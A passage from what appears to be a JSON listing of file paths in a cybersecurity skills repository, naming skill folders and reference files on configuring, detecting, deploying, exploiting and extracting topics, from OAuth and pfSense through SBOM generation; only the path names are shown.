auth2-authorization-flow/references/workflows.md","skills/configuring-pfsense-firewall-rules/SKILL.md","skills/configuring-pfsense-firewall-rules/references/api-reference.md","skills/configuring-snort-ids-for-intrusion-detection/SKILL.md","skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md","skills/configuring-suricata-for-network-monitoring/SKILL.es.md","skills/configuring-suricata-for-network-monitoring/SKILL.md","skills/configuring-suricata-for-network-monitoring/references/api-reference.md","skills/configuring-tls-1-3-for-secure-communications/SKILL.md","skills/configuring-tls-1-3-for-secure-communications/assets/template.md","skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md","skills/configuring-tls-1-3-for-secure-communications/references/standards.md","skills/configuring-tls-1-3-for-secure-communications/references/workflows.md","skills/configuring-windows-defender-advanced-settings/SKILL.md","skills/configuring-windows-defender-advanced-settings/assets/template.md","skills/configuring-windows-defender-advanced-settings/references/api-reference.md","skills/configuring-windows-defender-advanced-settings/references/standards.md","skills/configuring-windows-defender-advanced-settings/references/workflows.md","skills/configuring-windows-event-logging-for-detection/SKILL.md","skills/configuring-windows-event-logging-for-detection/assets/template.md","skills/configuring-windows-event-logging-for-detection/references/api-reference.md","skills/configuring-windows-event-logging-for-detection/references/standards.md","skills/configuring-windows-event-logging-for-detection/references/workflows.md","skills/configuring-zscaler-private-access-for-ztna/SKILL.md","skills/configuring-zscaler-private-access-for-ztna/assets/template.md","skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md","skills/configuring-zscaler-private-access-for-ztna/references/standards.md","skills/configuring-zscaler-private-access-for-ztna/references/workflows.md","skills/containing-active-breach/SKILL.md","skills/containing-active-breach/references/api-reference.md","skills/continuous-llm-red-teaming-with-promptfoo/SKILL.md","skills/continuous-llm-red-teaming-with-promptfoo/references/api-reference.md","skills/continuous-llm-red-teaming-with-promptfoo/references/standards.md","skills/correlating-security-events-in-qradar/SKILL.md","skills/correlating-security-events-in-qradar/references/api-reference.md","skills/correlating-threat-campaigns/SKILL.md","skills/correlating-threat-campaigns/references/api-reference.md","skills/defending-llms-with-guardrails/SKILL.md","skills/defending-llms-with-guardrails/references/api-reference.md","skills/defending-llms-with-guardrails/references/standards.md","skills/deobfuscating-javascript-malware/SKILL.md","skills/deobfuscating-javascript-malware/references/api-reference.md","skills/deobfuscating-powershell-obfuscated-malware/SKILL.md","skills/deobfuscating-powershell-obfuscated-malware/assets/template.md","skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md","skills/deobfuscating-powershell-obfuscated-malware/references/standards.md","skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md","skills/deploying-active-directory-honeytokens/SKILL.md","skills/deploying-active-directory-honeytokens/references/api-reference.md","skills/deploying-cloud-deception-with-decoy-resources/SKILL.md","skills/deploying-cloud-deception-with-decoy-resources/assets/template.md","skills/deploying-cloud-deception-with-decoy-resources/references/standards.md","skills/deploying-cloudflare-access-for-zero-trust/SKILL.md","skills/deploying-cloudflare-access-for-zero-trust/assets/template.md","skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md","skills/deploying-cloudflare-access-for-zero-trust/references/standards.md","skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md","skills/deploying-decoy-files-for-ransomware-detection/SKILL.md","skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md","skills/deploying-edr-agent-with-crowdstrike/SKILL.md","skills/deploying-edr-agent-with-crowdstrike/assets/template.md","skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md","skills/deploying-edr-agent-with-crowdstrike/references/standards.md","skills/deploying-edr-agent-with-crowdstrike/references/workflows.md","skills/deploying-honeytokens-and-canarytokens/SKILL.md","skills/deploying-honeytokens-and-canarytokens/references/api-reference.md","skills/deploying-honeytokens-and-canarytokens/references/standards.md","skills/deploying-osquery-for-endpoint-monitoring/SKILL.md","skills/deploying-osquery-for-endpoint-monitoring/assets/template.md","skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md","skills/deploying-osquery-for-endpoint-monitoring/references/standards.md","skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md","skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md","skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md","skills/deploying-ransomware-canary-files/SKILL.md","skills/deploying-ransomware-canary-files/references/api-reference.md","skills/deploying-software-defined-perimeter/SKILL.md","skills/deploying-software-defined-perimeter/assets/template.md","skills/deploying-software-defined-perimeter/references/api-reference.md","skills/deploying-software-defined-perimeter/references/standards.md","skills/deploying-software-defined-perimeter/references/workflows.md","skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md","skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md","skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md","skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md","skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md","skills/designing-adversary-engagement-with-mitre-engage/SKILL.md","skills/designing-adversary-engagement-with-mitre-engage/assets/template.md","skills/designing-adversary-engagement-with-mitre-engage/references/standards.md","skills/detecting-ai-model-prompt-injection-attacks/SKILL.md","skills/detecting-ai-model-prompt-injection-attacks/references/api-reference.md","skills/detecting-anomalies-in-industrial-control-systems/SKILL.md","skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md","skills/detecting-anomalous-authentication-patterns/SKILL.md","skills/detecting-anomalous-authentication-patterns/references/api-reference.md","skills/detecting-api-enumeration-attacks/SKILL.md","skills/detecting-api-enumeration-attacks/references/api-reference.md","skills/detecting-arp-poisoning-in-network-traffic/SKILL.md","skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md","skills/detecting-attacks-on-historian-servers/SKILL.md","skills/detecting-attacks-on-historian-servers/references/api-reference.md","skills/detecting-attacks-on-scada-systems/SKILL.md","skills/detecting-attacks-on-scada-systems/references/api-reference.md","skills/detecting-aws-cloudtrail-anomalies/SKILL.md","skills/detecting-aws-cloudtrail-anomalies/references/api-reference.md","skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md","skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md","skills/detecting-aws-guardduty-findings-automation/SKILL.md","skills/detecting-aws-guardduty-findings-automation/assets/template.md","skills/detecting-aws-guardduty-findings-automation/references/api-reference.md","skills/detecting-aws-guardduty-findings-automation/references/standards.md","skills/detecting-aws-guardduty-findings-automation/references/workflows.md","skills/detecting-aws-iam-privilege-escalation/SKILL.md","skills/detecting-aws-iam-privilege-escalation/references/api-reference.md","skills/detecting-azure-lateral-movement/SKILL.md","skills/detecting-azure-lateral-movement/references/api-reference.md","skills/detecting-azure-service-principal-abuse/SKILL.md","skills/detecting-azure-service-principal-abuse/assets/template.md","skills/detecting-azure-service-principal-abuse/references/api-reference.md","skills/detecting-azure-service-principal-abuse/references/standards.md","skills/detecting-azure-service-principal-abuse/references/workflows.md","skills/detecting-azure-storage-account-misconfigurations/SKILL.md","skills/detecting-azure-storage-account-misconfigurations/references/api-reference.md","skills/detecting-beaconing-patterns-with-zeek/SKILL.md","skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md","skills/detecting-bluetooth-low-energy-attacks/SKILL.md","skills/detecting-bluetooth-low-energy-attacks/references/api-reference.md","skills/detecting-broken-object-property-level-authorization/SKILL.md","skills/detecting-broken-object-property-level-authorization/references/api-reference.md","skills/detecting-business-email-compromise-with-ai/SKILL.md","skills/detecting-business-email-compromise-with-ai/assets/template.md","skills/detecting-business-email-compromise-with-ai/references/api-reference.md","skills/detecting-business-email-compromise-with-ai/references/standards.md","skills/detecting-business-email-compromise-with-ai/references/workflows.md","skills/detecting-business-email-compromise/SKILL.md","skills/detecting-business-email-compromise/assets/template.md","skills/detecting-business-email-compromise/references/api-reference.md","skills/detecting-business-email-compromise/references/standards.md","skills/detecting-business-email-compromise/references/workflows.md","skills/detecting-cloud-threats-with-guardduty/SKILL.md","skills/detecting-cloud-threats-with-guardduty/references/api-reference.md","skills/detecting-command-and-control-over-dns/SKILL.md","skills/detecting-command-and-control-over-dns/references/api-reference.md","skills/detecting-compromised-cloud-credentials/SKILL.md","skills/detecting-compromised-cloud-credentials/references/api-reference.md","skills/detecting-container-drift-at-runtime/SKILL.md","skills/detecting-container-drift-at-runtime/assets/template.md","skills/detecting-container-drift-at-runtime/references/api-reference.md","skills/detecting-container-drift-at-runtime/references/standards.md","skills/detecting-container-drift-at-runtime/references/workflows.md","skills/detecting-container-escape-attempts/SKILL.md","skills/detecting-container-escape-attempts/assets/template.md","skills/detecting-container-escape-attempts/references/api-reference.md","skills/detecting-container-escape-attempts/references/standards.md","skills/detecting-container-escape-attempts/references/workflows.md","skills/detecting-container-escape-with-falco-rules/SKILL.md","skills/detecting-container-escape-with-falco-rules/assets/template.md","skills/detecting-container-escape-with-falco-rules/references/api-reference.md","skills/detecting-container-escape-with-falco-rules/references/standards.md","skills/detecting-container-escape-with-falco-rules/references/workflows.md","skills/detecting-container-runtime-threats-with-falco/SKILL.md","skills/detecting-container-runtime-threats-with-falco/references/api-reference.md","skills/detecting-container-runtime-threats-with-falco/references/standards.md","skills/detecting-credential-dumping-techniques/SKILL.es.md","skills/detecting-credential-dumping-techniques/SKILL.md","skills/detecting-credential-dumping-techniques/references/api-reference.md","skills/detecting-cryptomining-in-cloud/SKILL.md","skills/detecting-cryptomining-in-cloud/references/api-reference.md","skills/detecting-data-and-model-poisoning/SKILL.md","skills/detecting-data-and-model-poisoning/references/api-reference.md","skills/detecting-data-and-model-poisoning/references/standards.md","skills/detecting-dcsync-attack-in-active-directory/SKILL.md","skills/detecting-dcsync-attack-in-active-directory/assets/template.md","skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md","skills/detecting-dcsync-attack-in-active-directory/references/standards.md","skills/detecting-dcsync-attack-in-active-directory/references/workflows.md","skills/detecting-deepfake-audio-in-vishing-attacks/SKILL.md","skills/detecting-deepfake-audio-in-vishing-attacks/references/api-reference.md","skills/detecting-dependency-confusion/SKILL.md","skills/detecting-dependency-confusion/references/api-reference.md","skills/detecting-dependency-confusion/references/standards.md","skills/detecting-dll-sideloading-attacks/SKILL.md","skills/detecting-dll-sideloading-attacks/assets/template.md","skills/detecting-dll-sideloading-attacks/references/api-reference.md","skills/detecting-dll-sideloading-attacks/references/standards.md","skills/detecting-dll-sideloading-attacks/references/workflows.md","skills/detecting-dnp3-protocol-anomalies/SKILL.md","skills/detecting-dnp3-protocol-anomalies/references/api-reference.md","skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md","skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md","skills/detecting-email-account-compromise/SKILL.md","skills/detecting-email-account-compromise/references/api-reference.md","skills/detecting-email-forwarding-rules-attack/SKILL.md","skills/detecting-email-forwarding-rules-attack/assets/template.md","skills/detecting-email-forwarding-rules-attack/references/api-reference.md","skills/detecting-email-forwarding-rules-attack/references/standards.md","skills/detecting-email-forwarding-rules-attack/references/workflows.md","skills/detecting-entra-offensive-tools-in-graph-logs/SKILL.md","skills/detecting-entra-offensive-tools-in-graph-logs/references/api-reference.md","skills/detecting-entra-offensive-tools-in-graph-logs/references/standards.md","skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md","skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md","skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md","skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md","skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md","skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md","skills/detecting-exfiltration-over-dns-with-zeek/references/api-reference.md","skills/detecting-fileless-attacks-on-endpoints/SKILL.md","skills/detecting-fileless-attacks-on-endpoints/assets/template.md","skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md","skills/detecting-fileless-attacks-on-endpoints/references/standards.md","skills/detecting-fileless-attacks-on-endpoints/references/workflows.md","skills/detecting-fileless-malware-techniques/SKILL.md","skills/detecting-fileless-malware-techniques/references/api-reference.md","skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md","skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md","skills/detecting-golden-ticket-forgery/SKILL.md","skills/detecting-golden-ticket-forgery/references/api-reference.md","skills/detecting-indirect-prompt-injection/SKILL.md","skills/detecting-indirect-prompt-injection/references/api-reference.md","skills/detecting-indirect-prompt-injection/references/standards.md","skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md","skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md","skills/detecting-insider-threat-behaviors/SKILL.md","skills/detecting-insider-threat-behaviors/assets/template.md","skills/detecting-insider-threat-behaviors/references/api-reference.md","skills/detecting-insider-threat-behaviors/references/standards.md","skills/detecting-insider-threat-behaviors/references/workflows.md","skills/detecting-insider-threat-with-ueba/SKILL.md","skills/detecting-insider-threat-with-ueba/references/api-reference.md","skills/detecting-kerberoasting-attacks/SKILL.md","skills/detecting-kerberoasting-attacks/assets/template.md","skills/detecting-kerberoasting-attacks/references/api-reference.md","skills/detecting-kerberoasting-attacks/references/standards.md","skills/detecting-kerberoasting-attacks/references/workflows.md","skills/detecting-lateral-movement-in-network/SKILL.md","skills/detecting-lateral-movement-in-network/references/api-reference.md","skills/detecting-lateral-movement-with-splunk/SKILL.md","skills/detecting-lateral-movement-with-splunk/assets/template.md","skills/detecting-lateral-movement-with-splunk/references/api-reference.md","skills/detecting-lateral-movement-with-splunk/references/standards.md","skills/detecting-lateral-movement-with-splunk/references/workflows.md","skills/detecting-lateral-movement-with-zeek/SKILL.md","skills/detecting-lateral-movement-with-zeek/assets/template.md","skills/detecting-lateral-movement-with-zeek/references/api-reference.md","skills/detecting-lateral-movement-with-zeek/references/standards.md","skills/detecting-lateral-movement-with-zeek/references/workflows.md","skills/detecting-living-off-the-land-attacks/SKILL.md","skills/detecting-living-off-the-land-attacks/references/api-reference.md","skills/detecting-living-off-the-land-with-lolbas/SKILL.md","skills/detecting-living-off-the-land-with-lolbas/references/api-reference.md","skills/detecting-malicious-npm-packages/SKILL.md","skills/detecting-malicious-npm-packages/references/api-reference.md","skills/detecting-malicious-npm-packages/references/standards.md","skills/detecting-malicious-scheduled-tasks-with-sysmon/SKILL.md","skills/detecting-malicious-scheduled-tasks-with-sysmon/references/api-reference.md","skills/detecting-mimikatz-execution-patterns/SKILL.md","skills/detecting-mimikatz-execution-patterns/assets/template.md","skills/detecting-mimikatz-execution-patterns/references/api-reference.md","skills/detecting-mimikatz-execution-patterns/references/standards.md","skills/detecting-mimikatz-execution-patterns/references/workflows.md","skills/detecting-misconfigured-azure-storage/SKILL.md","skills/detecting-misconfigured-azure-storage/references/api-reference.md","skills/detecting-mobile-malware-behavior/SKILL.md","skills/detecting-mobile-malware-behavior/assets/template.md","skills/detecting-mobile-malware-behavior/references/api-reference.md","skills/detecting-mobile-malware-behavior/references/standards.md","skills/detecting-mobile-malware-behavior/references/workflows.md","skills/detecting-modbus-command-injection-attacks/SKILL.md","skills/detecting-modbus-command-injection-attacks/references/api-reference.md","skills/detecting-modbus-protocol-anomalies/SKILL.md","skills/detecting-modbus-protocol-anomalies/references/api-reference.md","skills/detecting-model-extraction-attacks/SKILL.md","skills/detecting-model-extraction-attacks/references/api-reference.md","skills/detecting-model-extraction-attacks/references/standards.md","skills/detecting-network-anomalies-with-zeek/SKILL.md","skills/detecting-network-anomalies-with-zeek/references/api-reference.md","skills/detecting-network-scanning-with-ids-signatures/SKILL.md","skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md","skills/detecting-ntlm-relay-with-event-correlation/SKILL.md","skills/detecting-ntlm-relay-with-event-correlation/references/api-reference.md","skills/detecting-oauth-token-theft/SKILL.md","skills/detecting-oauth-token-theft/references/api-reference.md","skills/detecting-pass-the-hash-attacks/SKILL.md","skills/detecting-pass-the-hash-attacks/assets/template.md","skills/detecting-pass-the-hash-attacks/references/api-reference.md","skills/detecting-pass-the-hash-attacks/references/standards.md","skills/detecting-pass-the-hash-attacks/references/workflows.md","skills/detecting-pass-the-ticket-attacks/SKILL.md","skills/detecting-pass-the-ticket-attacks/references/api-reference.md","skills/detecting-port-scanning-with-fail2ban/SKILL.md","skills/detecting-port-scanning-with-fail2ban/references/api-reference.md","skills/detecting-privilege-escalation-attempts/SKILL.md","skills/detecting-privilege-escalation-attempts/assets/template.md","skills/detecting-privilege-escalation-attempts/references/api-reference.md","skills/detecting-privilege-escalation-attempts/references/standards.md","skills/detecting-privilege-escalation-attempts/references/workflows.md","skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md","skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md","skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md","skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md","skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md","skills/detecting-process-hollowing-technique/SKILL.md","skills/detecting-process-hollowing-technique/assets/template.md","skills/detecting-process-hollowing-technique/references/api-reference.md","skills/detecting-process-hollowing-technique/references/standards.md","skills/detecting-process-hollowing-technique/references/workflows.md","skills/detecting-process-injection-techniques/SKILL.md","skills/detecting-process-injection-techniques/references/api-reference.md","skills/detecting-qr-code-phishing-with-email-security/SKILL.md","skills/detecting-qr-code-phishing-with-email-security/assets/template.md","skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md","skills/detecting-qr-code-phishing-with-email-security/references/standards.md","skills/detecting-qr-code-phishing-with-email-security/references/workflows.md","skills/detecting-ransomware-encryption-behavior/SKILL.md","skills/detecting-ransomware-encryption-behavior/references/api-reference.md","skills/detecting-ransomware-precursors-in-network/SKILL.md","skills/detecting-ransomware-precursors-in-network/assets/template.md","skills/detecting-ransomware-precursors-in-network/references/api-reference.md","skills/detecting-ransomware-precursors-in-network/references/standards.md","skills/detecting-ransomware-precursors-in-network/references/workflows.md","skills/detecting-rdp-brute-force-attacks/SKILL.md","skills/detecting-rdp-brute-force-attacks/references/api-reference.md","skills/detecting-rootkit-activity/SKILL.md","skills/detecting-rootkit-activity/references/api-reference.md","skills/detecting-s3-data-exfiltration-attempts/SKILL.md","skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md","skills/detecting-secure-boot-bypass/SKILL.md","skills/detecting-secure-boot-bypass/references/api-reference.md","skills/detecting-secure-boot-bypass/references/standards.md","skills/detecting-serverless-function-injection/SKILL.md","skills/detecting-serverless-function-injection/references/api-reference.md","skills/detecting-service-account-abuse/SKILL.md","skills/detecting-service-account-abuse/assets/template.md","skills/detecting-service-account-abuse/references/api-reference.md","skills/detecting-service-account-abuse/references/standards.md","skills/detecting-service-account-abuse/references/workflows.md","skills/detecting-shadow-api-endpoints/SKILL.md","skills/detecting-shadow-api-endpoints/references/api-reference.md","skills/detecting-shadow-it-cloud-usage/SKILL.md","skills/detecting-shadow-it-cloud-usage/references/api-reference.md","skills/detecting-spearphishing-with-email-gateway/SKILL.md","skills/detecting-spearphishing-with-email-gateway/assets/template.md","skills/detecting-spearphishing-with-email-gateway/references/api-reference.md","skills/detecting-spearphishing-with-email-gateway/references/standards.md","skills/detecting-spearphishing-with-email-gateway/references/workflows.md","skills/detecting-sql-injection-via-waf-logs/SKILL.md","skills/detecting-sql-injection-via-waf-logs/references/api-reference.md","skills/detecting-stuxnet-style-attacks/SKILL.md","skills/detecting-stuxnet-style-attacks/references/api-reference.md","skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md","skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md","skills/detecting-suspicious-oauth-application-consent/SKILL.md","skills/detecting-suspicious-oauth-application-consent/references/api-reference.md","skills/detecting-suspicious-powershell-execution/SKILL.md","skills/detecting-suspicious-powershell-execution/assets/template.md","skills/detecting-suspicious-powershell-execution/references/api-reference.md","skills/detecting-suspicious-powershell-execution/references/standards.md","skills/detecting-suspicious-powershell-execution/references/workflows.md","skills/detecting-t1003-credential-dumping-with-edr/SKILL.md","skills/detecting-t1003-credential-dumping-with-edr/assets/template.md","skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md","skills/detecting-t1003-credential-dumping-with-edr/references/standards.md","skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md","skills/detecting-t1055-process-injection-with-sysmon/SKILL.md","skills/detecting-t1055-process-injection-with-sysmon/assets/template.md","skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md","skills/detecting-t1055-process-injection-with-sysmon/references/standards.md","skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md","skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md","skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md","skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md","skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md","skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md","skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md","skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md","skills/detecting-typosquatting-packages/SKILL.md","skills/detecting-typosquatting-packages/references/api-reference.md","skills/detecting-typosquatting-packages/references/standards.md","skills/detecting-wmi-persistence/SKILL.md","skills/detecting-wmi-persistence/references/api-reference.md","skills/emulating-cloud-attacks-with-stratus-red-team/SKILL.md","skills/emulating-cloud-attacks-with-stratus-red-team/references/api-reference.md","skills/emulating-cloud-attacks-with-stratus-red-team/references/standards.md","skills/enumerating-cloud-with-cloudfox/SKILL.md","skills/enumerating-cloud-with-cloudfox/references/api-reference.md","skills/enumerating-cloud-with-cloudfox/references/standards.md","skills/eradicating-malware-from-infected-systems/SKILL.md","skills/eradicating-malware-from-infected-systems/assets/template.md","skills/eradicating-malware-from-infected-systems/references/api-reference.md","skills/eradicating-malware-from-infected-systems/references/standards.md","skills/eradicating-malware-from-infected-systems/references/workflows.md","skills/escaping-containers-to-host/SKILL.md","skills/escaping-containers-to-host/references/api-reference.md","skills/escaping-containers-to-host/references/standards.md","skills/evaluating-threat-intelligence-platforms/SKILL.md","skills/evaluating-threat-intelligence-platforms/references/api-reference.md","skills/executing-active-directory-attack-simulation/SKILL.md","skills/executing-active-directory-attack-simulation/references/api-reference.md","skills/executing-nist-rmf-authorization-to-operate/SKILL.md","skills/executing-nist-rmf-authorization-to-operate/assets/template.md","skills/executing-nist-rmf-authorization-to-operate/references/standards.md","skills/executing-phishing-simulation-campaign/SKILL.md","skills/executing-phishing-simulation-campaign/references/api-reference.md","skills/executing-red-team-engagement-planning/SKILL.md","skills/executing-red-team-engagement-planning/assets/template.md","skills/executing-red-team-engagement-planning/references/api-reference.md","skills/executing-red-team-engagement-planning/references/standards.md","skills/executing-red-team-engagement-planning/references/workflows.md","skills/executing-red-team-exercise/SKILL.md","skills/executing-red-team-exercise/references/api-reference.md","skills/exploiting-active-directory-certificate-services-esc1/SKILL.md","skills/exploiting-active-directory-certificate-services-esc1/assets/template.md","skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md","skills/exploiting-active-directory-certificate-services-esc1/references/standards.md","skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md","skills/exploiting-active-directory-with-bloodhound/SKILL.md","skills/exploiting-active-directory-with-bloodhound/assets/template.md","skills/exploiting-active-directory-with-bloodhound/references/api-reference.md","skills/exploiting-active-directory-with-bloodhound/references/standards.md","skills/exploiting-active-directory-with-bloodhound/references/workflows.md","skills/exploiting-adcs-with-certipy/SKILL.md","skills/exploiting-adcs-with-certipy/references/api-reference.md","skills/exploiting-adcs-with-certipy/references/standards.md","skills/exploiting-api-injection-vulnerabilities/SKILL.md","skills/exploiting-api-injection-vulnerabilities/references/api-reference.md","skills/exploiting-aws-with-pacu/SKILL.md","skills/exploiting-aws-with-pacu/references/api-reference.md","skills/exploiting-aws-with-pacu/references/standards.md","skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md","skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md","skills/exploiting-broken-function-level-authorization/SKILL.md","skills/exploiting-broken-function-level-authorization/references/api-reference.md","skills/exploiting-broken-link-hijacking/SKILL.md","skills/exploiting-broken-link-hijacking/references/api-reference.md","skills/exploiting-constrained-delegation-abuse/SKILL.md","skills/exploiting-constrained-delegation-abuse/references/api-reference.md","skills/exploiting-constrained-delegation-abuse/references/standards.md","skills/exploiting-constrained-delegation-abuse/references/workflows.md","skills/exploiting-deeplink-vulnerabilities/SKILL.md","skills/exploiting-deeplink-vulnerabilities/assets/template.md","skills/exploiting-deeplink-vulnerabilities/references/api-reference.md","skills/exploiting-deeplink-vulnerabilities/references/standards.md","skills/exploiting-deeplink-vulnerabilities/references/workflows.md","skills/exploiting-excessive-data-exposure-in-api/SKILL.md","skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md","skills/exploiting-http-request-smuggling/SKILL.md","skills/exploiting-http-request-smuggling/references/api-reference.md","skills/exploiting-idor-vulnerabilities/SKILL.md","skills/exploiting-idor-vulnerabilities/references/api-reference.md","skills/exploiting-insecure-data-storage-in-mobile/SKILL.md","skills/exploiting-insecure-data-storage-in-mobile/assets/template.md","skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md","skills/exploiting-insecure-data-storage-in-mobile/references/standards.md","skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md","skills/exploiting-insecure-deserialization/SKILL.md","skills/exploiting-insecure-deserialization/references/api-reference.md","skills/exploiting-ipv6-vulnerabilities/SKILL.md","skills/exploiting-ipv6-vulnerabilities/references/api-reference.md","skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md","skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md","skills/exploiting-kerberoasting-with-impacket/SKILL.md","skills/exploiting-kerberoasting-with-impacket/assets/template.md","skills/exploiting-kerberoasting-with-impacket/references/api-reference.md","skills/exploiting-kerberoasting-with-impacket/references/standards.md","skills/exploiting-kerberoasting-with-impacket/references/workflows.md","skills/exploiting-mass-assignment-in-rest-apis/SKILL.md","skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md","skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md","skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md","skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md","skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md","skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md","skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md","skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md","skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md","skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md","skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md","skills/exploiting-nosql-injection-vulnerabilities/SKILL.md","skills/exploiting-nosql-injection-vulnerabilities/assets/template.md","skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md","skills/exploiting-nosql-injection-vulnerabilities/references/standards.md","skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md","skills/exploiting-oauth-misconfiguration/SKILL.md","skills/exploiting-oauth-misconfiguration/references/api-reference.md","skills/exploiting-prototype-pollution-in-javascript/SKILL.md","skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md","skills/exploiting-race-condition-vulnerabilities/SKILL.md","skills/exploiting-race-condition-vulnerabilities/references/api-reference.md","skills/exploiting-server-side-request-forgery/SKILL.md","skills/exploiting-server-side-request-forgery/references/api-reference.md","skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md","skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md","skills/exploiting-sql-injection-vulnerabilities/SKILL.md","skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md","skills/exploiting-sql-injection-with-sqlmap/SKILL.md","skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md","skills/exploiting-template-injection-vulnerabilities/SKILL.md","skills/exploiting-template-injection-vulnerabilities/references/api-reference.md","skills/exploiting-type-juggling-vulnerabilities/SKILL.md","skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md","skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md","skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md","skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md","skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md","skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md","skills/exploiting-websocket-vulnerabilities/SKILL.md","skills/exploiting-websocket-vulnerabilities/references/api-reference.md","skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md","skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md","skills/extracting-browser-history-artifacts/SKILL.md","skills/extracting-browser-history-artifacts/references/api-reference.md","skills/extracting-config-from-agent-tesla-rat/SKILL.md","skills/extracting-config-from-agent-tesla-rat/assets/template.md","skills/extracting-config-from-agent-tesla-rat/references/api-reference.md","skills/extracting-config-from-agent-tesla-rat/references/standards.md","skills/extracting-config-from-agent-tesla-rat/references/workflows.md","skills/extracting-credentials-from-memory-dump/SKILL.md","skills/extracting-credentials-from-memory-dump/references/api-reference.md","skills/extracting-iocs-from-malware-samples/SKILL.md","skills/extracting-iocs-from-malware-samples/references/api-reference.md","skills/extracting-memory-artifacts-with-rekall/SKILL.md","skills/extracting-memory-artifacts-with-rekall/references/api-reference.md","skills/extracting-windows-event-logs-artifacts/SKILL.md","skills/extracting-windows-event-logs-artifacts/references/api-reference.md","skills/fleet-hunting-with-velociraptor/SKILL.md","skills/fleet-hunting-with-velociraptor/references/api-reference.md","skills/fleet-hunting-with-velociraptor/references/standards.md","skills/generating-and-analyzing-sboms/SKILL.md","skills/